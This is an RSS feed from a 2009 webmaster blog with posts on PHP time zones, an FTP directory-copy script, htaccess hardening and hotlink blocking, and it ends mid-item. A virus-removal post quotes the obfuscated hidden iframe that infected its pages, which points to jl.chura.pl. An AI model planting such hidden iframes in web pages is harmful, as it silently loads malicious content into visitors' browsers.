<?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0"
	xmlns:content="http://purl.org/rss/1.0/modules/content/"
	xmlns:wfw="http://wellformedweb.org/CommentAPI/"
	xmlns:dc="http://purl.org/dc/elements/1.1/"
	xmlns:atom="http://www.w3.org/2005/Atom"
	xmlns:sy="http://purl.org/rss/1.0/modules/syndication/"
	xmlns:slash="http://purl.org/rss/1.0/modules/slash/"
	>

<channel>
	<title>Webmaster Sucks &#187; Linux</title>
	<atom:link href="http://www.webmastersucks.com/cats/linux/feed/" rel="self" type="application/rss+xml" />
	<link>http://www.webmastersucks.com</link>
	<description>Here I share stuff I used to suck at as a novice webmaster..</description>
	<lastBuildDate>Tue, 11 May 2010 10:56:35 +0000</lastBuildDate>
	<generator>http://wordpress.org/?v=2.9.2</generator>
	<language>en</language>
	<sy:updatePeriod>hourly</sy:updatePeriod>
	<sy:updateFrequency>1</sy:updateFrequency>
			<item>
		<title>Change Time Zone with htaccess</title>
		<link>http://www.webmastersucks.com/change-time-zone-with-htaccess/</link>
		<comments>http://www.webmastersucks.com/change-time-zone-with-htaccess/#comments</comments>
		<pubDate>Wed, 26 Aug 2009 13:20:21 +0000</pubDate>
		<dc:creator>admin</dc:creator>
				<category><![CDATA[Linux]]></category>
		<category><![CDATA[Php]]></category>
		<category><![CDATA[change time zone]]></category>
		<category><![CDATA[change timezone]]></category>
		<category><![CDATA[htaccess]]></category>
		<category><![CDATA[time zone]]></category>
		<category><![CDATA[time zone php]]></category>
		<category><![CDATA[timezone]]></category>
		<category><![CDATA[timezone htaccess]]></category>
		<category><![CDATA[timezone php]]></category>

		<guid isPermaLink="false">http://www.webmastersucks.com/?p=243</guid>
		<description><![CDATA[
			
				
			
		
In my server there are some sites from Turkey, some of from England, some of from Germany. I have got timezone problem in that sites. I found easy solution for this. Just add .htaccess this code:
php_value date.timezone &#34;Europe/Istanbul&#34;
or
php_value date.timezone &#34;America/Chicago&#34;
You can test date is change or not

&#60;?php
 echo date('d-m-Y H:i:s');
?&#62;
If htaccess can't solve your problem, [...]]]></description>
			<content:encoded><![CDATA[<div class="tweetmeme_button" style="float: left; margin-right: 10px;">
			<a href="http://api.tweetmeme.com/share?url=http%3A%2F%2Fwww.webmastersucks.com%2Fchange-time-zone-with-htaccess%2F"><br />
				<img src="http://api.tweetmeme.com/imagebutton.gif?url=http%3A%2F%2Fwww.webmastersucks.com%2Fchange-time-zone-with-htaccess%2F&amp;style=normal" height="61" width="50" /><br />
			</a>
		</div>
<p>In my server there are some sites from Turkey, some of from England, some of from Germany. I have got timezone problem in that sites. I found easy solution for this. Just add .htaccess this code:</p>
<pre class="brush: plain;">php_value date.timezone &quot;Europe/Istanbul&quot;</pre>
<p>or</p>
<pre class="brush: plain;">php_value date.timezone &quot;America/Chicago&quot;</pre>
<p>You can test date is change or not</p>
<pre class="brush: php;">
&lt;?php
 echo date('d-m-Y H:i:s');
?&gt;</pre>
<pre>If htaccess can't solve your problem, add this code to your php
<pre class="brush: php;">
&lt;?php
putenv(&quot;TZ=Europe/Istanbul&quot;);
?&gt;</pre>
<p><strong>Full List of Time Zone</strong><br />
AD Europe/Andorra<br />
AE Asia/Dubai<br />
AF Asia/Kabul<br />
AG America/Antigua<br />
AI America/Anguilla<br />
AL Europe/Tirane<br />
AM Asia/Yerevan<br />
AN America/Curacao<br />
AO Africa/Luanda<br />
AQ Antarctica/McMurdo<br />
AQ Antarctica/South_Pole<br />
AQ Antarctica/Palmer<br />
AQ Antarctica/Mawson<br />
AQ Antarctica/Davis<br />
AQ Antarctica/Casey<br />
AQ Antarctica/DumontDUrville<br />
AR America/Buenos_Aires<br />
AR America/Rosario<br />
AR America/Cordoba<br />
AR America/Jujuy<br />
AR America/Catamarca<br />
AR America/Mendoza<br />
AS Pacific/Pago_Pago<br />
AT Europe/Vienna<br />
AU Australia/Lord_Howe<br />
AU Australia/Hobart<br />
AU Australia/Melbourne<br />
AU Australia/Sydney<br />
AU Australia/Broken_Hill<br />
AU Australia/Brisbane<br />
AU Australia/Lindeman<br />
AU Australia/Adelaide<br />
AU Australia/Darwin<br />
AU Australia/Perth<br />
AW America/Aruba<br />
AZ Asia/Baku<br />
BA Europe/Sarajevo<br />
BB America/Barbados<br />
BD Asia/Dacca<br />
BE Europe/Brussels<br />
BF Africa/Ouagadougou<br />
BG Europe/Sofia<br />
BH Asia/Bahrain<br />
BI Africa/Bujumbura<br />
BJ Africa/Porto-Novo<br />
BM Atlantic/Bermuda<br />
BN Asia/Brunei<br />
BO America/La_Paz<br />
BR America/Noronha<br />
BR America/Belem<br />
BR America/Fortaleza<br />
BR America/Araguaina<br />
BR America/Maceio<br />
BR America/Sao_Paulo<br />
BR America/Cuiaba<br />
BR America/Porto_Velho<br />
BR America/Manaus<br />
BR America/Porto_Acre<br />
BS America/Nassau<br />
BT Asia/Thimbu<br />
BW Africa/Gaborone<br />
BY Europe/Minsk<br />
BZ America/Belize<br />
CA America/St_Johns<br />
CA America/Halifax<br />
CA America/Glace_Bay<br />
CA America/Goose_Bay<br />
CA America/Pangnirtung<br />
CA America/Montreal<br />
CA America/Nipigon<br />
CA America/Thunder_Bay<br />
CA America/Iqaluit<br />
CA America/Winnipeg<br />
CA America/Rainy_River<br />
CA America/Rankin_Inlet<br />
CA America/Regina<br />
CA America/Swift_Current<br />
CA America/Edmonton<br />
CA America/Yellowknife<br />
CA America/Inuvik<br />
CA America/Dawson_Creek<br />
CA America/Vancouver<br />
CA America/Whitehorse<br />
CA America/Dawson<br />
CC Indian/Cocos<br />
CD Africa/Kinshasa<br />
CD Africa/Lubumbashi<br />
CF Africa/Bangui<br />
CG Africa/Brazzaville<br />
CH Europe/Zurich<br />
CI Africa/Abidjan<br />
CK Pacific/Rarotonga<br />
CL America/Santiago<br />
CL Pacific/Easter<br />
CM Africa/Douala<br />
CN Asia/Harbin<br />
CN Asia/Shanghai<br />
CN Asia/Hong_Kong<br />
CN Asia/Chungking<br />
CN Asia/Urumqi<br />
CN Asia/Kashgar<br />
CO America/Bogota<br />
CR America/Costa_Rica<br />
CU America/Havana<br />
CV Atlantic/Cape_Verde<br />
CX Indian/Christmas<br />
CY Asia/Nicosia<br />
CZ Europe/Prague<br />
DE Europe/Berlin<br />
DJ Africa/Djibouti<br />
DK Europe/Copenhagen<br />
DM America/Dominica<br />
DO America/Santo_Domingo<br />
DZ Africa/Algiers<br />
EC America/Guayaquil<br />
EC Pacific/Galapagos<br />
EE Europe/Tallinn<br />
EG Africa/Cairo<br />
EH Africa/El_Aaiun<br />
ER Africa/Asmera<br />
ES Europe/Madrid<br />
ES Africa/Ceuta<br />
ES Atlantic/Canary<br />
ET Africa/Addis_Ababa<br />
FI Europe/Helsinki<br />
FJ Pacific/Fiji<br />
FK Atlantic/Stanley<br />
FM Pacific/Yap<br />
FM Pacific/Truk<br />
FM Pacific/Ponape<br />
FM Pacific/Kosrae<br />
FO Atlantic/Faeroe<br />
FR Europe/Paris<br />
GA Africa/Libreville<br />
GB Europe/London<br />
GB Europe/Belfast<br />
GD America/Grenada<br />
GE Asia/Tbilisi<br />
GF America/Cayenne<br />
GH Africa/Accra<br />
GI Europe/Gibraltar<br />
GL America/Scoresbysund<br />
GL America/Godthab<br />
GL America/Thule<br />
GM Africa/Banjul<br />
GN Africa/Conakry<br />
GP America/Guadeloupe<br />
GQ Africa/Malabo<br />
GR Europe/Athens<br />
GS Atlantic/South_Georgia<br />
GT America/Guatemala<br />
GU Pacific/Guam<br />
GW Africa/Bissau<br />
GY America/Guyana<br />
HN America/Tegucigalpa<br />
HR Europe/Zagreb<br />
HT America/Port-au-Prince<br />
HU Europe/Budapest<br />
ID Asia/Jakarta<br />
ID Asia/Ujung_Pandang<br />
ID Asia/Jayapura<br />
IE Europe/Dublin<br />
IL Asia/Jerusalem<br />
IN Asia/Calcutta<br />
IO Indian/Chagos<br />
IQ Asia/Baghdad<br />
IR Asia/Tehran<br />
IS Atlantic/Reykjavik<br />
IT Europe/Rome<br />
JM America/Jamaica<br />
JO Asia/Amman<br />
JP Asia/Tokyo<br />
KE Africa/Nairobi<br />
KG Asia/Bishkek<br />
KH Asia/Phnom_Penh<br />
KI Pacific/Tarawa<br />
KI Pacific/Enderbury<br />
KI Pacific/Kiritimati<br />
KM Indian/Comoro<br />
KN America/St_Kitts<br />
KP Asia/Pyongyang<br />
KR Asia/Seoul<br />
KW Asia/Kuwait<br />
KY America/Cayman<br />
KZ Asia/Almaty<br />
KZ Asia/Aqtobe<br />
KZ Asia/Aqtau<br />
LA Asia/Vientiane<br />
LB Asia/Beirut<br />
LC America/St_Lucia<br />
LI Europe/Vaduz<br />
LK Asia/Colombo<br />
LR Africa/Monrovia<br />
LS Africa/Maseru<br />
LT Europe/Vilnius<br />
LU Europe/Luxembourg<br />
LV Europe/Riga<br />
LY Africa/Tripoli<br />
MA Africa/Casablanca<br />
MC Europe/Monaco<br />
MD Europe/Chisinau<br />
MG Indian/Antananarivo<br />
MH Pacific/Majuro<br />
MH Pacific/Kwajalein<br />
MK Europe/Skopje<br />
ML Africa/Bamako<br />
ML Africa/Timbuktu<br />
MM Asia/Rangoon<br />
MN Asia/Ulan_Bator<br />
MO Asia/Macao<br />
MP Pacific/Saipan<br />
MQ America/Martinique<br />
MR Africa/Nouakchott<br />
MS America/Montserrat<br />
MT Europe/Malta<br />
MU Indian/Mauritius<br />
MV Indian/Maldives<br />
MW Africa/Blantyre<br />
MX America/Cancun<br />
MX America/Mexico_City<br />
MX America/Mazatlan<br />
MX America/Chihuahua<br />
MX America/Ensenada<br />
MX America/Tijuana<br />
MY Asia/Kuala_Lumpur<br />
MY Asia/Kuching<br />
MZ Africa/Maputo<br />
NA Africa/Windhoek<br />
NC Pacific/Noumea<br />
NE Africa/Niamey<br />
NF Pacific/Norfolk<br />
NG Africa/Lagos<br />
NI America/Managua<br />
NL Europe/Amsterdam<br />
NO Europe/Oslo<br />
NP Asia/Katmandu<br />
NR Pacific/Nauru<br />
NU Pacific/Niue<br />
NZ Pacific/Auckland<br />
NZ Pacific/Chatham<br />
OM Asia/Muscat<br />
PA America/Panama<br />
PE America/Lima<br />
PF Pacific/Tahiti<br />
PF Pacific/Marquesas<br />
PF Pacific/Gambier<br />
PG Pacific/Port_Moresby<br />
PH Asia/Manila<br />
PK Asia/Karachi<br />
PL Europe/Warsaw<br />
PM America/Miquelon<br />
PN Pacific/Pitcairn<br />
PR America/Puerto_Rico<br />
PS Asia/Gaza<br />
PT Europe/Lisbon<br />
PT Atlantic/Madeira<br />
PT Atlantic/Azores<br />
PW Pacific/Palau<br />
PY America/Asuncion<br />
QA Asia/Qatar<br />
RE Indian/Reunion<br />
RO Europe/Bucharest<br />
RU Europe/Kaliningrad<br />
RU Europe/Moscow<br />
RU Europe/Samara<br />
RU Asia/Yekaterinburg<br />
RU Asia/Omsk<br />
RU Asia/Novosibirsk<br />
RU Asia/Krasnoyarsk<br />
RU Asia/Irkutsk<br />
RU Asia/Yakutsk<br />
RU Asia/Vladivostok<br />
RU Asia/Magadan<br />
RU Asia/Kamchatka<br />
RU Asia/Anadyr<br />
RW Africa/Kigali<br />
SA Asia/Riyadh<br />
SB Pacific/Guadalcanal<br />
SC Indian/Mahe<br />
SD Africa/Khartoum<br />
SE Europe/Stockholm<br />
SG Asia/Singapore<br />
SH Atlantic/St_Helena<br />
SI Europe/Ljubljana<br />
SJ Arctic/Longyearbyen<br />
SJ Atlantic/Jan_Mayen<br />
SK Europe/Bratislava<br />
SL Africa/Freetown<br />
SM Europe/San_Marino<br />
SN Africa/Dakar<br />
SO Africa/Mogadishu<br />
SR America/Paramaribo<br />
ST Africa/Sao_Tome<br />
SV America/El_Salvador<br />
SY Asia/Damascus<br />
SZ Africa/Mbabane<br />
TC America/Grand_Turk<br />
TD Africa/Ndjamena<br />
TF Indian/Kerguelen<br />
TG Africa/Lome<br />
TH Asia/Bangkok<br />
TJ Asia/Dushanbe<br />
TK Pacific/Fakaofo<br />
TM Asia/Ashkhabad<br />
TN Africa/Tunis<br />
TO Pacific/Tongatapu<br />
TR Europe/Istanbul<br />
TT America/Port_of_Spain<br />
TV Pacific/Funafuti<br />
TW Asia/Taipei<br />
TZ Africa/Dar_es_Salaam<br />
UA Europe/Kiev<br />
UA Europe/Simferopol<br />
UG Africa/Kampala<br />
UM Pacific/Johnston<br />
UM Pacific/Midway<br />
UM Pacific/Wake<br />
US America/New_York<br />
US America/Detroit<br />
US America/Louisville<br />
US America/Indianapolis<br />
US America/Indiana/Marengo<br />
US America/Indiana/Knox<br />
US America/Indiana/Vevay<br />
US America/Chicago<br />
US America/Menominee<br />
US America/Denver<br />
US America/Boise<br />
US America/Shiprock<br />
US America/Phoenix<br />
US America/Los_Angeles<br />
US America/Anchorage<br />
US America/Juneau<br />
US America/Yakutat<br />
US America/Nome<br />
US America/Adak<br />
US Pacific/Honolulu<br />
UY America/Montevideo<br />
UZ Asia/Samarkand<br />
UZ Asia/Tashkent<br />
VA Europe/Vatican<br />
VC America/St_Vincent<br />
VE America/Caracas<br />
VG America/Tortola<br />
VI America/St_Thomas<br />
VN Asia/Saigon<br />
VU Pacific/Efate<br />
WF Pacific/Wallis<br />
WS Pacific/Apia<br />
YE Asia/Aden<br />
YT Indian/Mayotte<br />
YU Europe/Belgrade<br />
ZA Africa/Johannesburg<br />
ZM Africa/Lusaka<br />
ZW Africa/Harare</p>
<p>Source : <a href="http://iceburn.info/apache/change-the-time-zone-for-an-entire-directory.html" target="_blank">http://iceburn.info/apache/change-the-time-zone-for-an-entire-directory.html</a></pre>
<p><span style="font-family: Georgia; font-size: small;"><span style="line-height: 19px; white-space: normal;"> </span></span></p>
]]></content:encoded>
			<wfw:commentRss>http://www.webmastersucks.com/change-time-zone-with-htaccess/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Copy a Directory to Another Server</title>
		<link>http://www.webmastersucks.com/copy-a-directory-to-another-server/</link>
		<comments>http://www.webmastersucks.com/copy-a-directory-to-another-server/#comments</comments>
		<pubDate>Fri, 31 Jul 2009 11:09:52 +0000</pubDate>
		<dc:creator>admin</dc:creator>
				<category><![CDATA[Linux]]></category>
		<category><![CDATA[Php]]></category>
		<category><![CDATA[another server]]></category>
		<category><![CDATA[copy directory]]></category>
		<category><![CDATA[copy server to server]]></category>
		<category><![CDATA[directory list script]]></category>
		<category><![CDATA[move server]]></category>

		<guid isPermaLink="false">http://www.webmastersucks.com/?p=228</guid>
		<description><![CDATA[
			
				
			
		
I need a script to my directory to another servers. Firstly, i tried to download from my site and upload another site but it is not so fast. Because there is lots of files in that directory. I wrote a little php script for this. I hope you will enjoy..
P.S.: This code is only copy [...]]]></description>
			<content:encoded><![CDATA[<div class="tweetmeme_button" style="float: left; margin-right: 10px;">
			<a href="http://api.tweetmeme.com/share?url=http%3A%2F%2Fwww.webmastersucks.com%2Fcopy-a-directory-to-another-server%2F"><br />
				<img src="http://api.tweetmeme.com/imagebutton.gif?url=http%3A%2F%2Fwww.webmastersucks.com%2Fcopy-a-directory-to-another-server%2F&amp;style=normal" height="61" width="50" /><br />
			</a>
		</div>
<p>I need a script to my directory to another servers. Firstly, i tried to download from my site and upload another site but it is not so fast. Because there is lots of files in that directory. I wrote a little php script for this. I hope you will enjoy..<br />
P.S.: This code is only copy files in that  directory, if there is another directories this script didnt copy them..</p>
<pre class="brush: php;">
&lt;?
$ftp_server = www.mysite.com;
$ftp_username = &quot;myuser&quot;;
$ftp_password = &quot;mypass&quot;;

$source_directory = &quot;/home/mywebsite/public_html/test/&quot;;
$destination_directory = &quot;public_html/test/&quot;;

$ftp_connection = ftp_connect($ftp_server);
$connection_result = ftp_login($ftp_connection, $ftp_username, $ftp_password);

if ((!$ftp_connection) || (!$connection_result)) {
        echo(&quot;&lt;font color=red&gt;Connection Error!...&lt;/font&gt;&lt;br&gt;&quot;);
        echo(&quot;&lt;font color=red&gt;$ftp_username user can't connect to $ftp_server ...&lt;/font&gt;&lt;br&gt;&quot;);
        exit;
    } else {
        echo(&quot;&lt;font color=green&gt;$ftp_username connected to $ftp_server ...&lt;/br&gt;&quot;);
    }
$copied_directory = opendir($source_directory);

while($my_file = readdir($copied_directory))
{
 if($my_file != &quot;.&quot; &amp;&amp; $my_file != &quot;..&quot;)
 {
  $source_my_file = $source_directory.$my_file;
  $target_my_file = $destination_directory.$my_file;
  
  $upload = ftp_put($ftp_connection, $target_my_file, $source_my_file, FTP_BINARY);
  
  if (!$upload)
  {
   echo &quot;&lt;font color=red&gt;Can't connect...&lt;/font&gt;&quot;;
  }
  else
  {
   echo &quot;&lt;font color=green&gt; $my_file is copied to $ftp_server ...&lt;/font&gt;&lt;br&gt;&quot;;
  }
 }
}

ftp_close($ftp_connection);
?&gt;
</pre>
]]></content:encoded>
			<wfw:commentRss>http://www.webmastersucks.com/copy-a-directory-to-another-server/feed/</wfw:commentRss>
		<slash:comments>10</slash:comments>
		</item>
		<item>
		<title>Iframe Virus jl.chura.pl Removal</title>
		<link>http://www.webmastersucks.com/iframe-virus-jl-chura-pl-removal/</link>
		<comments>http://www.webmastersucks.com/iframe-virus-jl-chura-pl-removal/#comments</comments>
		<pubDate>Sat, 27 Jun 2009 23:18:53 +0000</pubDate>
		<dc:creator>admin</dc:creator>
				<category><![CDATA[Google]]></category>
		<category><![CDATA[Html & Javascript]]></category>
		<category><![CDATA[Linux]]></category>
		<category><![CDATA[Php]]></category>
		<category><![CDATA[Security]]></category>
		<category><![CDATA[avast]]></category>
		<category><![CDATA[chura]]></category>
		<category><![CDATA[chura.pl virus]]></category>
		<category><![CDATA[clean iframe virus]]></category>
		<category><![CDATA[download avast]]></category>
		<category><![CDATA[download avast free]]></category>
		<category><![CDATA[download avast free edition]]></category>
		<category><![CDATA[free avast]]></category>
		<category><![CDATA[google badware]]></category>
		<category><![CDATA[google blocks]]></category>
		<category><![CDATA[how to clean virus jl.chura.pl rc]]></category>
		<category><![CDATA[how to remove iframe virus]]></category>
		<category><![CDATA[how to remove the jl.chura.pl]]></category>
		<category><![CDATA[html iframe virus]]></category>
		<category><![CDATA[iframe exploit]]></category>
		<category><![CDATA[iframe virus]]></category>
		<category><![CDATA[iframe virus fix]]></category>
		<category><![CDATA[iframe virus removal]]></category>
		<category><![CDATA[jk.chura.pl]]></category>
		<category><![CDATA[jl.chura.pl how to remove]]></category>
		<category><![CDATA[jl.chura.pl remove]]></category>
		<category><![CDATA[jl.chura.pl virus]]></category>
		<category><![CDATA[remove iframe virus]]></category>
		<category><![CDATA[removing jl.chura.pl]]></category>
		<category><![CDATA[trojan iframe]]></category>
		<category><![CDATA[virus]]></category>
		<category><![CDATA[virus exploit iframe]]></category>
		<category><![CDATA[virus html iframe]]></category>
		<category><![CDATA[website iframe virus]]></category>

		<guid isPermaLink="false">http://www.webmastersucks.com/?p=201</guid>
		<description><![CDATA[
			
				
			
		
Today i upload an index file to my web site and i saw an iframe that site. I am shocked. Because i never use any iframe. I enter another sites for checking. All web sites are iframed. In my explorer all web sites are virused. I checked my sites to my friends. They saw iframe [...]]]></description>
			<content:encoded><![CDATA[<div class="tweetmeme_button" style="float: left; margin-right: 10px;">
			<a href="http://api.tweetmeme.com/share?url=http%3A%2F%2Fwww.webmastersucks.com%2Fiframe-virus-jl-chura-pl-removal%2F"><br />
				<img src="http://api.tweetmeme.com/imagebutton.gif?url=http%3A%2F%2Fwww.webmastersucks.com%2Fiframe-virus-jl-chura-pl-removal%2F&amp;style=normal" height="61" width="50" /><br />
			</a>
		</div>
<p>Today i upload an index file to my web site and i saw an iframe that site. I am shocked. Because i never use any iframe. I enter another sites for checking. All web sites are iframed. In my explorer all web sites are virused. I checked my sites to my friends. They saw iframe virus in my site. I search this virus, it is changing index and default files. Add code like here..</p>
<pre class="brush: xml;">
&lt;iframe src=&quot;http://jL.ch&amp;#117;ra.pl/rc/&quot; style=&quot;d&amp;#105;splay:none&quot;&gt;&lt;/iframe&gt;
</pre>
<h2><span style="color: #ff0000;">UPDATED (5th June 2009): </span></h2>
<p><span style="color: #ff0000;"><span style="color: #000000;">After a while, virus come back. I used Avast Free Version, that is find all viruses and removed. But it is damaged infected files. All infected .html and .php files are deleted. <a title="Download Avast" href="http://download.cnet.com/3001-20_4-10019223.html?spi=4dbf5a7a962839f84995d1ff0cbbd71c" target="_blank">Download Avast Home Edition &gt;</a></span></span></p>
<p>This virus also affected your google results. Google can block your site because of badware. You have to read &#8220;<a href="http://googlewebmastercentral.blogspot.com/2008/04/my-sites-been-hacked-now-what.html" target="_blank">My site&#8217;s been hacked &#8211; now what?</a>&#8221; and after remove your virus you have to read &#8220;<a href="http://googlewebmastercentral.blogspot.com/2008/08/hey-google-i-no-longer-have-badware.html" target="_blank">Hey Google, I no longer have badware</a>&#8220;.</p>
<p><strong>PS:</strong> I am not guarenteed virus removal, these are only what i do.</p>
]]></content:encoded>
			<wfw:commentRss>http://www.webmastersucks.com/iframe-virus-jl-chura-pl-removal/feed/</wfw:commentRss>
		<slash:comments>4</slash:comments>
		</item>
		<item>
		<title>htaccess Tips, Tricks and Guide</title>
		<link>http://www.webmastersucks.com/htaccess-tips-tricks-and-guide/</link>
		<comments>http://www.webmastersucks.com/htaccess-tips-tricks-and-guide/#comments</comments>
		<pubDate>Sun, 21 Jun 2009 16:43:17 +0000</pubDate>
		<dc:creator>admin</dc:creator>
				<category><![CDATA[Linux]]></category>
		<category><![CDATA[Php]]></category>
		<category><![CDATA[Security]]></category>
		<category><![CDATA[default directory htaccess]]></category>
		<category><![CDATA[htaccess]]></category>
		<category><![CDATA[htaccess guide]]></category>
		<category><![CDATA[htaccess tips]]></category>
		<category><![CDATA[htaccess tricks]]></category>
		<category><![CDATA[redirecting subdirectories]]></category>
		<category><![CDATA[security htaccess]]></category>

		<guid isPermaLink="false">http://www.webmastersucks.com/?p=187</guid>
		<description><![CDATA[
			
				
			
		
I like .htaccess file, when i need anything that file help me. I collect htaccess tips, tricks and guide list from PerishablePress. I hope you&#8217;ll be enjoy.

Stupid htaccess Tricks
Better Default Directory Views with HTAccess
WordPress Feedburner HTAccess Redirect for Default (Non-Permalink) Feed URLs
Redirecting Subdirectories to the Root Directory via HTAccess
Redirect All Requests for a Nonexistent File [...]]]></description>
			<content:encoded><![CDATA[<div class="tweetmeme_button" style="float: left; margin-right: 10px;">
			<a href="http://api.tweetmeme.com/share?url=http%3A%2F%2Fwww.webmastersucks.com%2Fhtaccess-tips-tricks-and-guide%2F"><br />
				<img src="http://api.tweetmeme.com/imagebutton.gif?url=http%3A%2F%2Fwww.webmastersucks.com%2Fhtaccess-tips-tricks-and-guide%2F&amp;style=normal" height="61" width="50" /><br />
			</a>
		</div>
<p>I like .htaccess file, when i need anything that file help me. I collect htaccess tips, tricks and guide list from <a href="http://perishablepress.com" target="_blank">PerishablePress</a>. I hope you&#8217;ll be enjoy.</p>
<ul>
<li><a title="Permalink for this article" href="http://perishablepress.com/press/2006/01/10/stupid-htaccess-tricks/">Stupid htaccess Tricks</a></li>
<li><a title="Permalink for this article" href="http://perishablepress.com/press/2008/11/02/better-default-directory-views-with-htaccess/">Better Default Directory Views with HTAccess</a></li>
<li><a title="Permalink for this article" href="http://perishablepress.com/press/2008/10/13/wordpress-feedburner-htaccess-redirect-default-feeds/">WordPress Feedburner HTAccess Redirect for Default (Non-Permalink) Feed URLs</a></li>
<li><a title="Permalink for this article" href="http://perishablepress.com/press/2008/10/06/redirect-subdirectory-to-root-via-htaccess/">Redirecting Subdirectories to the Root Directory via HTAccess</a></li>
<li><a title="Permalink for this article" href="http://perishablepress.com/press/2008/08/12/redirect-all-requests-for-a-nonexistent-file-to-the-actual-file/">Redirect All Requests for a Nonexistent File to the Actual File</a></li>
<li><a title="Permalink for this article" href="http://perishablepress.com/press/2008/06/17/perishable-press-htaccess-spring-cleaning-part-2/">Perishable Press HTAccess Spring Cleaning, Part 2</a></li>
<li><a title="Permalink for this article" href="http://perishablepress.com/press/2008/05/20/perishable-press-htaccess-spring-cleaning-part-1/">Perishable Press HTAccess Spring Cleaning, Part 1</a></li>
<li><a title="Permalink for this article" href="http://perishablepress.com/press/2008/05/20/improve-site-security-by-protecting-htaccess-files/">Improve Site Security by Protecting HTAccess Files</a></li>
<li><a title="Permalink for this article" href="http://perishablepress.com/press/2008/12/31/redirect-all-broken-links-from-any-domain-via-htaccess/">Redirect All (Broken) Links from any Domain via HTAccess</a></li>
<li><a title="Permalink for this article" href="http://perishablepress.com/press/2009/05/11/htaccess-spring-cleaning/">HTAccess Spring Cleaning 2009</a></li>
</ul>
<p><a href="http://perishablepress.com/press/search/htaccess/" target="_blank">For all search result &gt;</a></p>
]]></content:encoded>
			<wfw:commentRss>http://www.webmastersucks.com/htaccess-tips-tricks-and-guide/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Image Directory Security with htaccess</title>
		<link>http://www.webmastersucks.com/image-directory-security-with-htaccess/</link>
		<comments>http://www.webmastersucks.com/image-directory-security-with-htaccess/#comments</comments>
		<pubDate>Fri, 19 Jun 2009 16:14:05 +0000</pubDate>
		<dc:creator>admin</dc:creator>
				<category><![CDATA[Linux]]></category>
		<category><![CDATA[Security]]></category>
		<category><![CDATA[close cgi]]></category>
		<category><![CDATA[close execution]]></category>
		<category><![CDATA[directory forbidden]]></category>
		<category><![CDATA[forbidden cgi]]></category>
		<category><![CDATA[htaccess]]></category>
		<category><![CDATA[image directory]]></category>
		<category><![CDATA[image directory security]]></category>
		<category><![CDATA[uploaded file security]]></category>

		<guid isPermaLink="false">http://www.webmastersucks.com/?p=179</guid>
		<description><![CDATA[
			
				
			
		
Some hackers or attackers try to upload script files in image upload files and they can see and change your files with that script. You can block this type file in that directories. You can forbidden type of files and close execution of CGI.
.htaccess


# secure directory by disabling script execution
AddHandler cgi-script .php .pl .py .jsp [...]]]></description>
			<content:encoded><![CDATA[<div class="tweetmeme_button" style="float: left; margin-right: 10px;">
			<a href="http://api.tweetmeme.com/share?url=http%3A%2F%2Fwww.webmastersucks.com%2Fimage-directory-security-with-htaccess%2F"><br />
				<img src="http://api.tweetmeme.com/imagebutton.gif?url=http%3A%2F%2Fwww.webmastersucks.com%2Fimage-directory-security-with-htaccess%2F&amp;style=normal" height="61" width="50" /><br />
			</a>
		</div>
<p><img class="alignright size-full wp-image-180" title="Image Directory" src="http://www.webmastersucks.com/uploads/image-directory.jpg" alt="Image Directory" width="80" height="100" />Some hackers or attackers try to upload script files in image upload files and they can see and change your files with that script. You can block this type file in that directories. You can forbidden type of files and close execution of CGI.</p>
<p><strong>.htaccess<br />
</strong></p>
<pre class="brush: plain;">
# secure directory by disabling script execution
AddHandler cgi-script .php .pl .py .jsp .asp .htm .shtml .sh .cgi .aspx
Options -ExecCGI
</pre>
<p>From: <a href="http://perishablepress.com/press/2006/01/10/stupid-htaccess-tricks/#sec16">http://perishablepress.com/press/2006/01/10/stupid-htaccess-tricks/#sec16</a></p>
]]></content:encoded>
			<wfw:commentRss>http://www.webmastersucks.com/image-directory-security-with-htaccess/feed/</wfw:commentRss>
		<slash:comments>2</slash:comments>
		</item>
		<item>
		<title>Protect Image From Other Sites</title>
		<link>http://www.webmastersucks.com/protect-image-from-other-sites/</link>
		<comments>http://www.webmastersucks.com/protect-image-from-other-sites/#comments</comments>
		<pubDate>Sat, 13 Jun 2009 21:10:45 +0000</pubDate>
		<dc:creator>admin</dc:creator>
				<category><![CDATA[Linux]]></category>
		<category><![CDATA[SEO]]></category>
		<category><![CDATA[WordPress]]></category>
		<category><![CDATA[hot link]]></category>
		<category><![CDATA[hotlink]]></category>
		<category><![CDATA[htaccess]]></category>
		<category><![CDATA[image protection]]></category>
		<category><![CDATA[protect image]]></category>

		<guid isPermaLink="false">http://www.webmastersucks.com/?p=154</guid>
		<description><![CDATA[
			
				
			
		
Sometimes other sites use our images, but there is no link us. Only it is fill our bandwidth limit. We can ban that users or we can show another image for that sites. You can write that image &#8220;This images can download in www.domain.com&#8221;. You have to add this codes to .htaccess
Change domain with your [...]]]></description>
			<content:encoded><![CDATA[<div class="tweetmeme_button" style="float: left; margin-right: 10px;">
			<a href="http://api.tweetmeme.com/share?url=http%3A%2F%2Fwww.webmastersucks.com%2Fprotect-image-from-other-sites%2F"><br />
				<img src="http://api.tweetmeme.com/imagebutton.gif?url=http%3A%2F%2Fwww.webmastersucks.com%2Fprotect-image-from-other-sites%2F&amp;style=normal" height="61" width="50" /><br />
			</a>
		</div>
<p>Sometimes other sites use our images, but there is no link us. Only it is fill our bandwidth limit. We can ban that users or we can show another image for that sites. You can write that image &#8220;This images can download in www.domain.com&#8221;. You have to add this codes to <strong>.htaccess</strong></p>
<p>Change domain with your domain name and sucks.jpe is your image to show</p>
<pre class="brush: plain;">
&lt;IfModule mod_rewrite.c&gt;
 RewriteEngine on
 RewriteCond %{HTTP_REFERER} !^$
 RewriteCond %{HTTP_REFERER} !^http://(www\.)?domain\.com/.*$ [NC]
 RewriteRule .*\.(gif|jpg)$ http://www.domain.com/sucks.jpe [R,NC,L]
&lt;/ifModule&gt;
</pre>
<p>If you want to serve a standard 403 forbidden error page</p>
<pre class="brush: plain;">RewriteRule .*\.(gif|jpg)$ - [F,L]</pre>
<p>If you want to add your friends sites to allow link</p>
<pre class="brush: plain;">RewriteCond %{HTTP_REFERER} !^http://(www\.)?myfriend\.com/.*$ [NC]</pre>
]]></content:encoded>
			<wfw:commentRss>http://www.webmastersucks.com/protect-image-from-other-sites/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Php 5.2.9 Updated But Mysql Doesnt Work</title>
		<link>http://www.webmastersucks.com/php-5-2-9-updated-but-mysql-doesnt-work/</link>
